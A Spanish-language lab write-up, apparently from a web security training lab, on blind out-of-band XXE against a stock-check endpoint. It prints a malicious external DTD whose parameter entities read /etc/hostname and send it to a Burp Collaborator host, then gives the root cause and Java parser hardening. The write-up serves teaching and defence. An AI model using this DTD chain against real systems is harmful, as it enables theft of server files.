← Writeups

OOB XXE via external DTD: exfiltración de /etc/hostname con Burp Collaborator

Exfiltración blind de /etc/hostname con XXE: DTD malicioso alojado en el exploit server y canal OOB hacia Burp Collaborator mediante parameter entities.

1. Target Overview & Vulnerability Summary

La función Check stock parsea XML pero no refleja el resultado del parsing en la respuesta: no hay canal de salida directo para el contenido leído. La exfiltración debe ser OOB XXE via external DTD: un DTD malicioso alojado en el exploit server define parameter entities que primero leen file:///etc/hostname y luego disparan un request HTTP hacia Burp Collaborator con el contenido como parte de la URL.

Severidad Endpoint vulnerable Root cause
High POST /product/stock (cuerpo XML) Parser XML con DTD y resolución de entidades externas/parámetro habilitadas; la salida se filtra por canal lateral (OOB)

2. Technical Breakdown & Exploitation Flow

2.1 Trigger del DTD externo

El request al endpoint de stock carga la DTD remota desde el exploit server y la expande vía %xxe;:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a2c00e1043eab7481787577015900fb.exploit-server.net/exploit"> %xxe;]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

Al expandir %xxe;, el parser descarga y procesa la DTD externa, que define el resto de la cadena.

2.2 DTD malicioso en el exploit server

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://t71formphf2gp78qtjqmf48r0i69uzio.oastify.com/?x=%file;'>">
%eval;
%exfil;

Desglose de la cadena de parameter entities (las parameter entities actúan como variables del DTD):

  1. %file declara una entidad externa que lee el contenido de /etc/hostname.
  2. %eval es una entity declaration dinámica: al expandirse define %exfil, cuya SYSTEM URI embebe %file; (el contenido leído) en la query string del subdominio de Burp Collaborator.
  3. %exfil dispara el request HTTP hacia el Collaborator, exfiltrando el contenido de /etc/hostname en la URL.

El lab se resuelve cuando el hostname aparece en los logs de Burp Collaborator.

3. Root Cause Analysis

El parser del endpoint de stock resuelve general entities, parameter entities y external DTDs, un combo que habilita el patrón blind más común:

  • Las parameter entities (%entity) se procesan durante la fase de internal subset / DTD loading, lo que permite la definición dinámica de otras entidades (%eval → define %exfil).
  • El contenido de %file se interpola en la SYSTEM URI de %exfil porque el parser expande %file; al construir la entidad derivada; el fetch HTTP de la URI resultante transporta el dato fuera del servidor.

No hay reflejo, por eso el canal es OOB: el único efecto observable es el request saliente hacia el dominio controlado.

4. Secure Remediation

Deshabilitar por completo la resolución de entidades externas y el loading de DTD en el parser:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);

Regla de oro: si el endpoint no necesita DTD (un body de stock check no lo necesita), disallow-doctype-decl es la mitigación de mayor cobertura porque también neutraliza los vectores de XXE de error (repurposing de DTD local). Además, restringir egress HTTP desde el backend hacia destinos no allowlisteados limita el canal OOB.